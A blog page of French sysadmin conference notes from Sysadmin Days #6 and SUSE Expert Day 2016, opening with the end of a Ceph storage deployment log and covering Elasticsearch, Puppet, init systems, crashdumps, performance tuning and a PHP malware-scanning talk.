<ceph_deploy.conf.cephdeploy.Conf instance at 0x7fbd48a4df80> [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] ssh_copykey : True [ceph_deploy.cli][INFO ] mon : ['ses-node1'] [ceph_deploy.cli][INFO ] func : <function new at 0x7fbd48a285f0> [ceph_deploy.cli][INFO ] public_network : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] cluster_network : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] fsid : None [ceph_deploy.new][DEBUG ] Creating new cluster named ceph [ceph_deploy.new][INFO ] making sure passwordless SSH succeeds [ses-node1][DEBUG ] connected to host: ses-admin [ses-node1][INFO ] Running command: ssh -CT -o BatchMode=yes ses-node1 [ses-node1][DEBUG ] connection detected need for sudo [ses-node1][DEBUG ] connected to host: ses-node1 [ses-node1][DEBUG ] detect platform information from remote host [ses-node1][DEBUG ] detect machine type [ses-node1][DEBUG ] find the location of an executable [ses-node1][INFO ] Running command: sudo /bin/ip link show [ses-node1][INFO ] Running command: sudo /bin/ip addr show [ses-node1][DEBUG ] IP addresses found: ['192.168.100.11', '192.168.200.11'] [ceph_deploy.new][DEBUG ] Resolving host ses-node1 [ceph_deploy.new][DEBUG ] Monitor ses-node1 at 192.168.100.11 [ceph_deploy.new][DEBUG ] Monitor initial members are ['ses-node1'] [ceph_deploy.new][DEBUG ] Monitor addrs are ['192.168.100.11'] [ceph_deploy.new][DEBUG ] Creating a random mon key... [ceph_deploy.new][DEBUG ] Writing monitor keyring to ceph.mon.keyring... [ceph_deploy.new][DEBUG ] Writing initial config to ceph.conf... cephadm@ses-admin:~> Creation de pool pool name number of placement groups : (nber of OSD * 100 ) / nber of replicas pool size : 2,10 g take 20 g of storage and 20 g of netw transfert pool size : 3,10 g take 30 g of storage and 30 g of netw transfert => il vaut ;ieux bcp de petits data pool plutot qu un gros rados attaque en direct le pool sans passer par la couche osd default, replicate all datas => full replication, 3x stockage et bande passante RDB Storage pour avoir du block storage, il faut creer une image d abord puis ;appe en block device format1 or 2 => 2 support snapshots rbd create, puis map pour connect si besoin, faire le pool avant rbd create -p poolname rdbimagename --size xxx --image format 2 size en mb par defaut rbd list cephadm@ses-admin:~> ceph osd map test myobj osdmap e23 pool 'test' (1) object 'myobj' -> pg 1.c3ca3d86 (1.6) -> up ([2,1], p2) acting ([2,1], p2) cephadm@ses-admin:~> ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 cephadm@ses-admin:~> ceph osd pool set test size 3 set pool 1 size to 3 cephadm@ses-admin:~> ceph osd tree ID WEIGHT TYPE NAME UP/DOWN REWEIGHT PRIMARY-AFFINITY -1 0.04376 root default -2 0.01459 host ses-node1 0 0.01459 osd.0 up 1.00000 1.00000 -3 0.01459 host ses-node2 1 0.01459 osd.1 up 1.00000 1.00000 -4 0.01459 host ses-node3 2 0.01459 osd.2 up 1.00000 1.00000 Mapping pour utilisation en direct persistence de mapping se fait dans fstab cephadm@ses-admin:~> rbd create -p block-pool block-storage --size 1024 cephadm@ses-admin:~> rbd -p block-pool info block-storage rbd image 'block-storage': size 1024 MB in 256 objects order 22 (4096 kB objects) block_name_prefix: rbd_data.108f238e1f29 format: 2 features: layering flags: cephadm@ses-admin:~> sudo su - ses-admin:~ # cat /etc/fstab UUID=a8cecc6a-ed55-45ec-9092-08cccd1d1fa5 swap swap defaults 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb / btrfs defaults 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/i386-pc btrfs subvol=@/boot/grub2/i386-pc 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /boot/grub2/x86_64-efi btrfs subvol=@/boot/grub2/x86_64-efi 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /home btrfs subvol=@/home 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /opt btrfs subvol=@/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /srv btrfs subvol=@/srv 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /tmp btrfs subvol=@/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /usr/local btrfs subvol=@/usr/local 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/crash btrfs subvol=@/var/crash 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/libvirt/images btrfs subvol=@/var/lib/libvirt/images 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mailman btrfs subvol=@/var/lib/mailman 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mariadb btrfs subvol=@/var/lib/mariadb 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/mysql btrfs subvol=@/var/lib/mysql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/named btrfs subvol=@/var/lib/named 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/lib/pgsql btrfs subvol=@/var/lib/pgsql 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/log btrfs subvol=@/var/log 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/opt btrfs subvol=@/var/opt 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/spool btrfs subvol=@/var/spool 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /var/tmp btrfs subvol=@/var/tmp 0 0 UUID=f809d9df-cc52-43e0-a42c-3f2c8ee680eb /.snapshots btrfs subvol=@/.snapshots 0 0 ses-admin:~ # rbd map -p block-pool --image block-storage /dev/rbd0 ses-admin:~ # rbd showmapped id pool image snap device 0 block-pool block-storage - /dev/rbd0 ses-admin:~ # ls /dev/rbd* /dev/rbd0 /dev/rbd: block-pool Snapshot sans overhead rbd snap (etc) Copy on write snapshot layering, i;age au for;at 2 obligatoirement mais les snapshots sont alors indispensables, i faut les proteger avec la fonction lock rfc3720 for iscsi json configurqtion quthenticqtion to iscsi authentication https://www.suse.com/docrep/documents/kgu61iyowz/suse_enterprise_storage_3_and_iscsi.pdf ses-node3:~ # targetcli ls o- / ..................................................................................................... [...] o- backstores .......................................................................................... [...] | o- fileio ............................................................................... [0 Storage Object] | o- iblock ............................................................................... [1 Storage Object] | | o- iscsi .................................................................. [/dev/rbd/rbd/iscsi activated] | o- pscsi ................................................................................ [0 Storage Object] | o- rbd .................................................................................. [0 Storage Object] | o- rd_mcp ............................................................................... [0 Storage Object] o- ib_srpt ....................................................................................... [0 Targets] o- iscsi .......................................................................................... [1 Target] | o- iqn.2003-01.org.linux-iscsi.ses-node3.x8664:sn.76494aa74ebc ..................................... [1 TPG] | o- tpg1 ........................................................................................ [enabled] | o- acls ....................................................................................... [0 ACLs] | o- luns ........................................................................................ [1 LUN] | | o- lun0 .......................................................... [iblock/iscsi (/dev/rbd/rbd/iscsi)] | o- portals .................................................................................. [1 Portal] | o- 192.168.100.13:3260 ........................................................... [OK, iser disabled] o- loopback ...................................................................................... [0 Targets] o- qla2xxx ....................................................................................... [0 Targets] o- tcm_fc ........................................................................................ [0 Targets] o- vhost ......................................................................................... [0 Targets] erasure code profile une sorte de qos pour econo;iser du reseau pour limiter les controles d integrite chaque erreur part dans une sorte de poubelle cephadm@ses-admin:~> ceph osd erasure-code-profile get default k=2 m=1 plugin=jerasure technique=reed_sol_van exemple k+m (10+6), on peut perdre 6 sur 16 disks (totalite des disques) 10 disks requis prend 60% de capacite attention aux perf, se rapproche d un raid6 si erasure profile fixe, ne peut pas etre change utile sur des donnes chaudes/donnees froides/cout de stockage ceph status : look at placement group ex : recovering en bas de page monitor : health, mon quorum, osd status, pg status, full disk, nodes status => ceph health => ceph status cephadm@ses-admin:~> ceph -w cluster 9a5b2edf-4d00-4b46-a010-3420d96450e5 health HEALTH_WARN too many PGs per OSD (408 > max 300) monmap e3: 3 mons at {ses-node1=192.168.100.11:6789/0,ses-node2=192.168.100.12:6789/0,ses-node3=192.168.100.13:6789/0} election epoch 6, quorum 0,1,2 ses-node1,ses-node2,ses-node3 osdmap e57: 3 osds: 3 up, 3 in flags sortbitwise pgmap v3256: 408 pgs, 15 pools, 70949 kB data, 505 objects 322 MB used, 45724 MB / 46046 MB avail 408 active+clean ceph calamari backend, romana frontend inclus avec suse enterprise storage install calamari puis deploy --master monitoring-mode alaister@suse.com

Notes Sysadmin Days #6 - Paris

Olivier Duquesne aka DaffyDuke — 2016-02-18T14:20:00Z

*on est pas là pour vendre de la magie, 8 ans de conf* # sysadmin de combat (FRED DE VILLAMIL) attention au budget divergence de priorité => "redonner confiance dans l'infrastructure" 50/50 scrum+run, planif ve pm, daily standup mach. café astreinte tournante, toujours donner une date pour le delivery les dev font la MEP via jenkins+ansible (=> java / go) monte une équipe sénior (pour ne pas faire de micromanagement, montée en compétence rapide) profil cher entre 50/90 attention communication => slack incidents (uniqt chef du support, transparence, sans alaramant, ETA précis si possible) reporting hebdo de 3/4 slides (contexte d'une période de crise d'un an pour remonter un cluster galera), nb incidents, heures d'inter, .... et ETA projets découverte : monitoring, nmap+ssh+facter "pour voir" dans un CSV / tcpdump sur des fw/ansible , attention puppet/ansible début: rester humble, laisser ce qui marche et ceux qui savent faire, test de redémarrage de services "pour voir", "se concerter sur ce qu'on ne connait pas et qui marche plutôt que sur ce qu'on connait mais qui ne marche pas" Documentation (interne Zabbix) Attention aux env. non maîtrisés Dificulté de reprises d'unfra montée par des dev qui "pensent" différemment : un mach/un service pas de vhost/ .... ## questions confluence, gitlab (markdown) essayer de déléguer SAS au possible "tu bosses le week-end" pour tenir tes ETA besoin d'être capable de dire "non *plus tard*" jira pour sprints (redmine abandonné), "pager duty" à venir Gandi => Trello pour daily meeting revue de doc/code review par gitflow troll AWS : utilisation d'autoscaling pour les machines qui tombent toute seule troll OVH : couche ethernet revue et corrigée # Grid 5000, Lucas Nussbaum, a hpc, big data, INRIA, université de Lorraine Debian Project Leader de 2013,15 Licence Pro Adm. Sys Réseaux App. Logiciels Libres Recherche sur expérimentation scientifiques essaie de fournir une infra de qualité comparable aux autres composants de recherche (biologie, physique, ....) renater 10g 10 sites, 25 cluster, 1000 nodes, 8000 cores 550 personnes difficulté de cloud public (difficulté de monitoring, placement, perf) utilisation de BonFIRE (infra dedié observation) bare metal as a service, reconfigurable à la demande desc. env. en json avec archivage de conf utilisation outil maison g5-checks pour comparer desc stockée avec desc générée (appel OHAO, ethtool, ....) besoin GPU, wattmetter, software, garder stable création de kadeploy (bare metal, hardware as a service), boot en PXE, 200 nodes en 5 min(car deux reboots hardw) KaVLAN pour tagguer les réseaux sur les équipements réseau http://kamaleon.imag.fr : generation d'appliance (avec utilisation de cache des images étalonné / archivées) http://distem.gforge.nria.fr : utilisation de LXC pour quotas de CPU/Core Utilisation Charm++ lb HPC avec distem "Ralentir le temps pour que le CPU et le réseau aille plus vite" : Time Keeper (facteur de dilatation du temps de LXC) sous Linux ou dilatation du temps (DieCast sous Xen) time shifting en roadmap monitoring en mode découverte avec Ganglia + sondes réseau/DPU/... utilisateurs = doctorants, étudiants M2, ...., => shell => création d'une API d'orchestration XPFLOW env. unique au monde de support d'expérimentations ## questions pas de pb sur mesure 1/sec sur switchs Ironic (OpenStack) vs Kadeploy (plus vieux, plus de fonctions) criu.org => checkpointing de jobs => appeler Master I2L pour reorienter AsminSys si possible # ElasticSearch chez Synthesio par Fred De Villamil Synthesio: parcours de site social, enrichissement de données 271To de cluster, 7 To de RAM, 3 cluster, 116 serveurs, 60 milliards de doc indexés Elasticsearch : moteur de rechcerche distribué basé sur Lucene, base sur "Solr on steroid", ancien nom Comment : 1 index, 512 chards avec un routage au mois (au lieu de la semaine nitialement), 47 deian en java 1.8 => dashboard1GC / GCPausIntervalMillis=1000 / InitiatingHeapOccupancyPercent=35 => plus d'out of the world => tuning field data : limit ) 80% sur breaker, 30% de cache size sur la heap, expire 1 minute : options deprecated dans le futur Déconseillé par la doc ES, pas vu de pb de perf, plus de perte du cluster step2, 1 index par dashbpoard pour 10 milliards de documents 2 clusters iso en ES 1.7.5 (1.7.4 bug de memoire grave) 2 VM ) 64 G de RAM 3 master, 3 de RAM 0 nodesà 32 G RAM 1 inde par dashboard, 1 shared => versionning du mapping possible grace à Baldur Baldur = proxy nginx en LUA (récup cluster + id de mapping en base MySQL) => modification de mapping se fait dans la base mysql alors que les data sont en cours de traitement coté cluster et donc création de milliers de segments lucene création de plus de seglents que de suppression, donc les index peinaient à être construit => otpim en continu sur ordre deleted + sur index x-1 => utilisation de "rack awareness" ES : blocage d'allocation pendant un A/R par rack Nouveau cluster : 70 serveurs 36 index 50 milliards de documents 120 T de données, 160 T de capa, 1 idx/mois, 30 shards 2 query nodes 31 G 62 data node en Xeo D, 64 G RAM, 3,2 T RAM 3 cluster galera et un cluster ES dans un kafka indexer en Go sur 8 machine et doit récupérer une queue par an sur le data node pour l'idexation sans passer par le query pas de replicat pendant l'indexation pour diminuer les ressources ES tente de mettre les requetes en cace sur les requettes en lectures (pb de cache si range , utilisation de YourKit pour debugger la heap au crash dump (à cette epoque 1.7.4 => passer en 1.7.5 !) => désactivation des caches + parallélisation des requetes par index next : 50 millions de doc/jour (plus de sphynx, maintenant utilisation de percolation = indexation inversée dans ES) 35000 rq à tester, en percolation on a une estimation de 1700 milliards de req => routage sur la langue des documents , objectif 100 000 req/sec ## questions ES en 2 ? pb de réécriture de query (DSL de sphynx vers ES déjà fait, à refaire pour passer en ES2) pas d'étude d'autre soft par compétence monotiring ; marvelpour le temps réel (marvel pour monitorer + cluster de monitoring de marvel lui-même) ; le reste est graffé par Zabbix sauvegarde / archivage ? non car toute la donnée brute est dans mysql (25 To dans un Galera), ES n'est pas prévu pour stocker, ce n'est pas MongoDB snapshot ? S3 ou N/Z/.../FS : 10 To trop gros pour gérer des snapshots Utilisation de plugin d'analyse linguistique tels stemmer chiffrement inter noeud : non => étude FS chiffré pas d'ACL sur ES unicast conso de disques SSD de plu sen plus importante OVH ; coupure électrique ou réseau : systeme de maitre / quorum => donc pas de soucis sur ES. plus de corruptions de données depuis la 1.0 # Puppet at Gandi, Aurélien Rouhemont, Arthur Gautier Equipe de 15 personnes puppet = QUE un gest de conf = framework, pas grand chose out of the box pas un orchestrateur, pas la "silver bullet", ce n'est pas léger Gandi, pourquoi ? pull model (se fait pas violé par un SSH de l'externe) ; promise theory (mark de cfengine), en 2009 pas grand chose, utilisation master , DSL simple, pas besoin de connaître le ruby, descriptif pour aller vers un état final (si déclaration de dépendances), populaire Configuration Management chez Gandi : avant 2009 : Makefile, package, Awk, 2009 : premier repo puppet SVN alors que personne ne faisait de ruby 2010 : pas de module, un site.pp 2011 : réflexions hiera et template (module + conf. extérieure) 2013 : pas d'upgrade puppet 3.x possible 2014 : génération de monitoring dans puppet (il génère la conf pour la pf de monitoring : nagios, thrunk) 2015 : en 10 jours, réécriture de 250 modules puppet en 3.7 2016 : orchestration Ouverture aux développeurs, merge request, depuis 2013 Comment ENC : MySQL + insertions + Perl => utilisation d'un YAML à partir de 2015 Facts Matters : meta comm eun autre pour définir des groupes de serveurs, ce n'est pas natif, il faut penser à la faire, ,notion de flavor = sous groupe de farm savoir si un module est utilisé => au début pas de forge puppet (coup d'entrée assez cher pour du non ruby fluent), exemple42 pas dispoi à l'époque, création d'un templae de module : init.pp, install.pp (packages uniq), config.pp, files.pp, cron.pp, service.pp : conv. de nommage de variable depuis hiera dans l'init.pp (cron.pp : gestion de cron au lien symbolique) un rep temlate par flavor coding style human readable !, code portable, utilisation de best practices, ex files = collection d'object, pas un objet 20 à 60% de perf mieux sur gros catalogues de file sjusqu'en 2.7 hiera as datasource nodes / farm, datasource, room, etc ... puppet vanishment history à voir sur puppetlabas dynamic variaable scoping sad panda => tig (arbre git) => 250 branches git : taken.owner, taken.done pour ne pas se marcher dessus datatypes mieux codées avec stdlib hiera merging policy => le change est devenu merge (ex sur acl) gitlab pour repo couplé à un jenkins puppet linting + rule du gandi module layout + syntax validation + yaml validation + erb syntax validation passage 3.7 a uniformisé le niveau d'admin puppet puppet environment="mergerequest" utilisation d'un git merge --no-comit jenkins appelle le puppet-lint erb -P -x -T file.rb pupeet-db => json => jinja => nagios mcollective fait le puppet run mcollective joli mais fragile version web de hiera => hieraviz pour lire la base hiera : idée écrire depuis hieraviz https://github.com/gandi/hieracles Etude d'impact en cours alias puppet status, puppet lock + motif + Conclusion puppet n'est pas un orchestrateur => ansible ? abandonner le tas de yaml avec une API / CMDB ## question reporting : foreman, mais pas plus que çà envisagé : consul ? hitop (en php) ? modules fait maison uniquement pour l'instant puppet4 : pb des modules tout fait puppet enterprise : idem, pas de forge dump d'inventaire à partir du DNS, attention aux alias itop trop gros par rapport aux besoins un puppet master de production, utilisation des environnements plusieurs run pour passage OK parfois et toléré => voir le "puppet virtual nodes" pour le test de code puppet # Blocage dynamique de pages web (Frédéric Vannière, planet-work.com) NGINX/LUA 400 machines, virtu, Freebsd pour les backup 10000 sites, 30% wordpress => spam, phishing stockage sur Netapp en NFSv3 Archi NGINX en front reverse proxy (apache tient peu la charge sur ce besoin), statiques hébergées en front Solution OpenResty = module NGINX + LUA Clé valeur de blacklist via DNSBL blaclist.conf : conf dnsbl gère le blocage + deblocage par mot de passe pour l'accès client Détection : gestion des logs via rsyslog centralisé (en rfs5424) - stack ELK : (logstash 1.4 fragile aux caractères mal encodés) - tests HekaD (projet Mozilla, en go, multithreads, sandbox LUA) (écrit dans un elasticsearch) : attention une fois le msg traité, plus d'altération possible. Prévu pour la métrologie : collectd->aggreg->influxd => création d'un flitre sandbox LUA => openresty < 3 avec validation auto Let's Encrypt : script python tiers (cloudflare) pour vérifier les expiation http://pw.fr recrute sur Paris / Rennes (l'an prochain) 5 techos "on est pas là pour vendre de la magie, 8 ans de conf" ## questions Quid de la rotation : perte possible mais NGNINX, permi Pas de pb de perf sauf sur ES # Gestion des services par Gandi (Fabrice Daroussin) présentation,attention aux mélanges watchman launchd systemd openrc upstart (tous vivant) init historique : petit, process pere de tous les processus, ne gere pas la gestion des services (inittab ou ttys de freebsd) puis délègue à sysvinit, rcng (freebsd), rc (openbsd) Mais pas de cycle de vie, pas de moyen que le service est rendu, difficile d'assurer la cohérence entre les scripts d'init, pas de gestion de ressources (RAM, CPU, sandbox de l'OS, ....) supervision par un pid uniquement (souvent loupé pour lemonitoring si double fork) gestion des dépendances faibles framework, souvent en shell (posix, bash, zsh) ex: Dabian Dash gestion d'erreur en shell pas simple car trap etc .... complexe à isoler (/etc/init.d/truc start) (mais pb sur les variables d'enrionnement) => comman de service pour contrôler variables d'environnement (présente sous Linux, FreeBSD, systemd) complexe pour cohérence multi OS (même multi Linux) pas de gestion de performances ni de surveillance de processus fiabilité aléatoire du status (souvent que le père) pas de gestion d'évènementielle (ex cupsd uniquement si printer) ex : inetd evenement => udev => script de service => latence pas de fault management (ex les workers apaches en failed) difficile de faire un démon : user non privilégié, attention au chroot sans chdir, refaire un setrlimit (mais chacun veut le faire) (s attention aux parents laxistes qui abandonnent leurs enfants (apache et fiston) peu de parallèle de service, trous dans les logs Solutions : PID via process descriptor FreeBSD 10.0, Linux 4.1 : polling de race reapers (garder les trace des fils) : Linux 3.4 (dbus), Solaris 10 (contracts), FreeBSD10.2, Dragonfly 4.0 : un service pour démarrer les services apache Services : Génerer les services via sandboxing Réactivité : devd envoi sans parser tous les scripts Format pas important ; description yaml, json, ini, ....mais la description est importante Gestion des sockets pour séparation de privilèges, ex bufferisation de logs si syslog cassé Utiliser un IPC (séparer les taches) => remplacer init ? pas utile, aucun service actuel ne gère toutes les demandes vues ici ? SMF (Solaris) gère le monitoring (mais Over engineer) a conservé init, cron, ...., fault management Références : do_command.c de Paul Vixie Solaris Service Management Facility Modern System Startup ## questions systemd : approche, manquant à SMF : le pid pere est encore crucial, pas encore de tracabilité de fils car utilise les cgroups # Linux Crashdump analysis - Adrien Mahieux, github.com/Saruspete Kernel Recipes 2015 crashdump / kdump : snapshot de la mémoire en cours, principalement Linux, sysadmin se fait via kexec & panic 64 à 512 M de RAM vmware : suspend , vmss2core libvirt : virsh dump guest Get : kernel config KEXEC=y .... bootoption : crashlernel=auto (auto = X@Y réécri) indiquer un masque sur pages privées, userland, .... dump entre 100M et 2G si utilisation intensive impi power diag (NMI via IPMI) virsh inject-nmi guest attention au kernel.unknown_nmi_panic=1 => car le code NMI n'est pas le même pour tous les constructeurs mais peut etre en conflit avec ooprofile OOM : vm.panic_on_oom=1 Analysis : crash via Dave Anderson de RedHat (gdb) RedHat : debuginfo-install kernel Debian : apt-get install linux-image-$'uname -r)_dbg même commandes que dans gdb (bt ....) Live kretprobes : CONFIG_STRICT_DEVMEM savoir si on sait lie sur /dev/mem OpenGrok fast code source browser voir makedumpfile sur chitranshi fence kdump sur ovirt.org ## questions un redémarrage via kexec, puis un redémarrage normal # Performance Analysis, fro msilicon to algorithm (microsecund hunter) sysadmin : utiliser des algo pour contourner des pb hardware, tuning d'appli, .... besoin de bien connaître le client, protocoles, .... attention au ratio gain / coût Souvent regarder côté application pour optim' Comment ça marche ? balance d'éléments storage lent : ajout redahead ou RAM network : offload, DMA RAM slower than CPU, add L1/L2/L3 cache video : utilisation GPU .... memory management : méchanismes de segmentation MMU : @locique : segmentation => virtual pagination => physical allocation kernel linux overcommit (resident 100m versus allocation 17 Go) => overcommit attention OOMKiller qui libère dec RAM (algo plu sou moins heureux), score tunable via /proc/<PID>/oom_score/adj buddy allocator : ex plusieurs giga lobres mais mem fragmentée, car meme pas utilisable si pas contigue => utilisation du SLAB cache pour limite la fragmentation : CPU : kernel scheduler, via la variable HZ ticks geneère les jobs : context switch userland => syscall => libc (wrappers) open,malloc,mmap => gates : possible d'accéléer via VDSO (gettimeofday, ....) Réseau : ethtool -g <int> : taille du ring buffer (DMA) en RAM et gnère une interruotion optim harware (plusieurs queue sur carte 10 G), voir le blog de Claude Feder Storage IO sont en syscall, scheduler d'IO à observer coherence en terme de cohrence ZFS et BTRFS pas de VFS, ext/xfs/ oui .... puis elevator donne request queue : cfq defaut), deadline : garanti le wait (databases) , noop (SSD) mmap : bcp overhead mais rapide Mesurer 'Use method) : Brendan Gregg Netflix (auteur de netflix) utilization actuelle, quelle est la saturation, quelles sont les erreur sampling : ps, top, perf tracing : auditd, ktrace, systemtap, gdb conter : intel pcm, numastat, user feedback rappel des slides netflix Quoi faire rapide, robuste, pas cher, jamais possible d'avoir les 3 * latence : tps de traitement de signal : isolcpu, ou nohz_full (desactiv les tick, attention à irqbalance => attention à la dacdrer ou le désactiver , / désactiver le coalescing / attention au readahead, penser à le désactiver, compression (ZFS: cout een CPU mais économise en stockage) fibre optique c'est lent : sniperinmahwah.wordpress.com (hyperthreading haute fréquence) => la lumière est rapid dans le vide uniquement * débit : difficile car lié à chaque comppsant disk, réseau, aute (ex: chunk size, jumbo fram, en gros plus il y a de RAM, mieux ça marche) * jitter : industriel, realtime, moteur carburant / air, précis et fiable, ex un thread kernel au lieu d'un thread kernel par CPU : isolcpu, nohz_full, ... A la recherche des problèmes perf et les flamegraph version de pagefault ou diff flamegraph systemtap : utilise les debuginfo comme crashdump : génère du code C et injecte dans le kernel Et le hardware * CPU Interl PCM (performance counter monitor) intel.com/ peformance ... MSR : Model Specific Register: module msr pour la RAM, trop tard, maintenant c'est le CPU qu igère on peut avoir les erreurs ECC avec dmidecode * NIC : DPDK OpenFabric : kernel bypass; Infinibands écrit dans la RAM des voisins ## questions moyen de voir si c-state activé ou pas : cpufreq (cpupower monitor) i7z : lit les données relatives à la freq du CPU powertop : applis qui généré interruptions, wakeup tuned : fait le job, mais fait trop de chose qu'o ne veut pas forcément si processeur change de socket, pas forcément besoin de RAM en RAID, mais pb sur mémorie cache CPU, donc intérêt à garder les proces sur le même coeur (isolcpu) FreeBSD : équivalences ? voir la map de Brendan Greg existe aussi pour Solaris ## Retour d'expérience sur un scan de détection de malware sur une infrastructure hébergeur, par Julien Reveret, NBS Systems Projet d'actualité : nettoyage du canal saint-martin (pneus, matelas, ....), => machines clients idem Dev. internes : Julien Voisin, PHP-malware-finder basé sur yara (détecter les malwares les plus courants uniquement) ex. beaucoup de bruit, puis analyse par un humain, un seul fichier avec malware autres faux positifs => identification par hash cryptographique : liste blanche à partir des faux positifs => poussé sur github.com/nbs-system/php-malware-finder Résultats : machines avec infections dormantes (une dizaine), des faux positifs ; du faux positif, de la whitelist et finalement trouvé un webshell alors qu'il était PCI-DSS ! ; un module tiers magento ressemblant à un malware ; divers webshell Beaucoup de craptographie chez les développeurs PHP :-) Temps de traitement : 7 heures pour 100 machines en NFS ## questions A t'on le droit d'ouvrir les fichiers des clients => ici oui, audit de code déjà prévue Netapp : utilsation de fpolicy sur fichiers modifiés ? => à voir supervision ? pas encore # Nouveautés de FreeBSD 11 Baptsite Daroussin (probablement inclut en 10.3 beta) fin ia64, ajout arm64 et risc-V ; improve ARM : dtrace & more CloudABI = format binaire cross OS sandboxé mais dépendant de l'arch, enregistré au niveau de posix pour avoir le numéro elf associé, toolchain : lldb par défaut amd64 migration binutils vers Elftoolchain (sauf ld network : plus de support IPX et appletalk, new version netmap (émulation de n'importe quel driver réseau), modularisation stack TCP, et ajout de TCP fastpath (possibilité de swither) storage : améliorations perfs NFS et "cable control layer, iSCSI), améliorations ZFS, I/O throttling dans des jails maintenant possible + HA en iSCSI (actif-passif) ; module sendfile réécrit par Netflix Virtu : Xen dom0 (support domU) , bhyve (hyperviseur natif issus de Netapp) : peut booter du Linux et même Windows, Illumos ou Dragonfly via émulation UEFI ; HyperV guest très amélioré ; jails : ajout d'arg. CARP sur ip4/ip6.addr si vnet uniquement, top et ps émulé Nouveautés : fstyp, devctl, uefisign, sesutils (equiv sg3-utils), numactl, autofs (automontage d disque dans les VM BSD chez Gandi en cas d'ajout de volume), casperd (sandboxing capxicon), mprutils/mpsutils (utiliataires LSI equiv megacli) divers : support UEFI et GELI sur loader, support de Boot Environment dans le loader, groff remplacé par mandoc ; mêmes bases de locales que Linux ; maintenant linux64 ; ajout de Dragonfly Mail Agent (sendmail off) Kernel crash dump chiffrés package de la base Arrivée 27/07/2016 ## questions support multi-écran : en court # Du système au réseau, histoire d'un coming-out Pourquoi ? bankable datacenter L2 vlan firewall core (backbone, bgp) acess (collecte, CPE) monde network assez fermé => peu de doc, peu de partage de connaissance, beaucoup de matos proprio et os proprio évolutions parfois publiques plus de réseau humain (peering, opérateurs, aide DDOS, aller aux FRNOG) A venir automatisation : norme netconf => ansible, pyez, napalm SDN : pose questions de design L2less routeur opensource : DPDK, ou packet journey de Gandi , bird (un quagga like) switch open en cours de dev : OS open, chipset proprio (Broadcomm, Marvell, ....) JunOS ou pas => Cumulus (Debian modifiée), implem OpenSwitch à venir

Notes Suse Expert Day 2016 Paris

Olivier Duquesne aka DaffyDuke — 2016-02-03T14:04:00Z

rappel uber => moins de soustraitance shadow factu => shadow it "docker, vous n'y échapperaez pas" SLES 12 SP1 Rappel cathedrale et le basard - assurer stabilité et support6SP attendus + extended support = 13 ans find SLES 12 GA = 2016-06-27 presentation en mindmap maintenances systemd + wicked Ajouts : yast2-journal (journalctl de de systemd), SMT dans zypper now, SSO shibboleth teamd remplace bonding - SP migration changée pour Suse manger3 migration possible de 11SP3 à 12SP1 gestion des extensions (cloud etc ....) migration possible et rrollback si pb (btrfs & snapper) Note e, SP12SP1 : xend a été abandonné par la comminauté , pousse à migrer vers libvirt possibilité via guestfs de passer de xen à kvm OpenQA = clickodrome pour jenkins & co , exemple - valider syst de fichiers, - pacjages, - benchs => GUI sur état des test réalisé, échoué, autre .... JeOS = SLE pour virtu : 300 M (pas encore docker à 25 M) Docker / SUSE "facile de faire n'importe quoi" pb de registtry docker io => prthus : rechereche authenticifaction Canal module docker de Suse pour avoir les images docker (12SP1 en mars) comparaison avec pulse u rutiliser portus, bien faire le docker login avant sinon part vers docker io par défaut destination à préciser pendant le docker tag puis docker push virt-builder = gestion de cache d'image et personnalisation durant le download , à venir image jeos en Suse SP2 \_> ex modifier les password, format d'image disk, taille du disk, etc .... => faire du docker 2 libvirt Suse Manager 2016 Antoine Pierre Suses support RedHat, CentOS, SLES, provisionning VM, bare metal package management via channels et patchs \_> ajout de configuration en plus des patchs, gestion des CVE, openscap \_> en SM3 : ajout de gestion de configurations via SaltStack + souscriptions + monitoring (icinga intégré : deploiement auto des sondes en activant le monitoring depuis suse manager puis le push vers Nagios) Commandes via SALT? sans passer par OSAD Ex : gestion des LVM, vérifier des ports, firewall, etc ... salt-key -L = puppet cert list Besoin d'un démon sur le client => besoin d'accepter les minions depuis suse manager monitoring avec des test d'hdparm par exemple Ajout d'un "Remote command" execution de coimma des via le serveur saltmaster jeux d ecommandes peuvent etre bridées via spacewalk => sorit mi 2016 Bonne spratiques en cours de travail (script de migration suse manager 2.1 vers suse manager 3, ) CEPH "je vosu regarde droit dans les yeux, oui, vous pouvez mettre vos données là dedans" Attention, pas de VM prod encore, pas assez d'IO pour cela stockage froid essentiellement A venir bientôt : compression à chaud, dedup, cluster FS, " lopen source est farceur sur les noms, surtout ils prennent beaucoup de lsd" A OSD / disk storage node = serveur x86 algorithme crosh pour CEPH 3 monitor / CEPH => trosis reference fichier SES2 : iSCSI + objet SES3 : asynchrone?, CEPH FS, NFS 